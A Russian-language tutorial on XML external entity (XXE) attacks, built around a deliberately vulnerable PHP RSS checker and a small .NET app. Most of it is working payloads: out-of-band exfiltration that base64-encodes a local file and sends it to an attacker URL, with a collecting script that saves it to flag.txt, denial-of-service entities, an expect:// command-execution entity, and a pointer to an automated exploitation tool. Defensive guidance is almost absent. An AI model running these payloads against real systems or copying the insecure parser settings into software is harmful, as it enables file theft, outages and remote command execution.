XXE

XXE

Life-Hack

И снова всем привет. А сегодня будет разговор об XXE – атаках, что это, почему, зачем, а главное посмотрим нагрузки и пример в .Net приложениях.

Идея уязвимости в том, что мы используем внешние сущности при парсинге xml файлов, рассмотрим сразу пример.

Создадим файл index.php у себя на сервере. (код частично взят с root-me.org)

<?php
echo '<html>';
echo '<header><title>XXE</title></header>';
echo '<body>';
if ( ! isset($_GET['action']) ) $_GET['action']="checker";
if($_GET['action'] == "checker"){
    libxml_disable_entity_loader(false);
    libxml_use_internal_errors(true);
    echo '<h2>XXE</h2>
    <form method="post" action="index.php">
    <input type="text" name="url" placeholder="" />
    <input type="submit" />
    </form>';
    if(isset($_POST["url"]) && !(empty($_POST["url"]))) {
        $url = $_POST["url"];
        echo "<p>URL : ".htmlentities($url)."</p>";
        try {
                    $ch = curl_init("$url");
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
                    $inject = curl_exec( $ch );
                    curl_close($ch);
                    $string = simplexml_load_string($inject, null, LIBXML_NOENT);
                    if ( ! is_object($string)) throw new Exception("error");
                
                    foreach($string->channel->item as $row){
                print "<br />";
                print "===================================================";
                print "<br />";
                print htmlentities($row->title);
                print "<br />";
                print "===================================================";
                print "<br />";
                print "<h4 style='color: green;'>XML document is valid</h4>";
                    }
                } catch (Exception $e) {
                    print "<h4 style='color: red;'>XML document is not valid</h4>";
                }
                
    }
}
if($_GET['action'] == "auth"){
echo '<strong>Login</strong><br /><form METHOD="POST">
<input type="text" name="username" />
<br />
<input type="password" name="password" />
<br />
<input type="submit" />
</form>
';
}
echo '</body></html>';
?>

Вот так выглядит наша форма

А теперь взглянем на такой XML файл, вроде бы ничего необычного.

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
  <title>W3Schools Home Page</title>
  <link>http://www.w3schools.com</link>
  <description>Free web building tutorials</description>
  <item>
    <title>RSS Tutorial</title>
    <link>http://www.w3schools.com/xml/xml_rss.asp</link>
    <description>New RSS tutorial on W3Schools</description>
  </item>
  <item>
    <title>XML Tutorial</title>
    <link>http://www.w3schools.com/xml</link>
    <description>New XML tutorial on W3Schools</description>
  </item>
</channel>
</rss>

Загрузим его в отдельный файл на сервер и скормим нашему текстовому полю.

В результате получаем сообщение, что наш xml файл валидный, то есть это означает, что структура тегов нашего xml совпадает с ожидаемой, а так же видим, что вывелся загловок RSS Tutorial, то есть у нас есть вывод.


Теперь изменим файл и добавим DTD сущность

<!DOCTYPE rss [
<!ENTITY shp  "CODEBY">
] >
<rss version="2.0" xml:base="http://example.com"  xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>XXE</title>
<link>http://example.com</link>
<description></description>
<language>en</language>
<item>
<title>Hello &shp;</title>
<link>http://example.com</link>
<description>some bullshit</description>
<comments>http://example.com#comments</comments>
<category domain="http://example.com">xxe</category>
<pubDate>Thu, 15 Jan 2015 23:08:50 +0000</pubDate>
<dc:creator>Unknown</dc:creator>
<guid isPermaLink="false">31337</guid>
</item>
</channel>
</rss>

Получаем в результате запроса следующий вариант.

Но не всегда парсеры выводят содержимое на страницу. В таком случае нам поможет техника Out-Of-Band. Это техника работает в три этапа.


Этап первый – создаем нагрузку.

XML:

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=CoDEbY.php">
<!ENTITY % intern "<!ENTITY % trick SYSTEM 'URL/get.php?s=%payl;'>">

Видим, что на этот раз файл состоит из двух сущностей, одна которая создает Payload, вторая, которая отсылает его на внешний сервис.


Этап второй – создаем принимающий скрипт

<?php
$character = $_GET["s"];
$file = fopen("flag.txt","w");
fwrite($file,$character);
fclose($file);
?>

Этап третий - подгружаем в наш скрипт ссылку на на payload с этапа 1 и читаем файл flag.txt

В результате видим закодированное в base64 - сообщение, которое после расшифровки означает:

Векторы XXE

1) Читать локальные файлы и ресурсы с помощью врапперов php://, file://

2) Проводить DOS атаки

3) Получить RCE


Если с DDOS payloads всё понятно (приведу их ниже)

<!DOCTYPE input [<!ENTITY pay SYSTEM "file:///dev/random" >]> &pay; для linux 

<!ENTITY dos SYSTEM "c:\pagefile.sys"> для windows


то посмотрим на последний вариант.

Здесь, для получения RCE, используется wrapper except.

Пример:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE rss [
<!ENTITY shp SYSTEM "expect://id">
] >

Результат

На этом закончим с веб приложением и если с вебом всё более-менее понятно, взглянем как эксплуатировать OOB в .Net приложениях.

Для этого я написал небольшое приложение.

        private void button1_Click(object sender, EventArgs e)
        {
            openFileDialog1.ShowDialog();
            string xml = File.ReadAllText(openFileDialog1.FileName);
            XmlDocument xmlDoc = new XmlDocument();
            xmlDoc.XmlResolver = null;
            xmlDoc.LoadXml(xml);
            MessageBox.Show(xmlDoc.InnerText);
        }

После нажатия кнопки программа просит выбрать файл xml, выберем файл с содержимым.

<?xml version="1.0" ?>
<!DOCTYPE doc
[<!ENTITY win SYSTEM "URL/321.xml" >]>
<doc> &win;</doc>

В результате получаем профит, текст именно в этом файле.

На этом всё


https://github.com/enjoiz/XXEinjector а вот мощная тулзочка для автоматической эксплуатации. Источник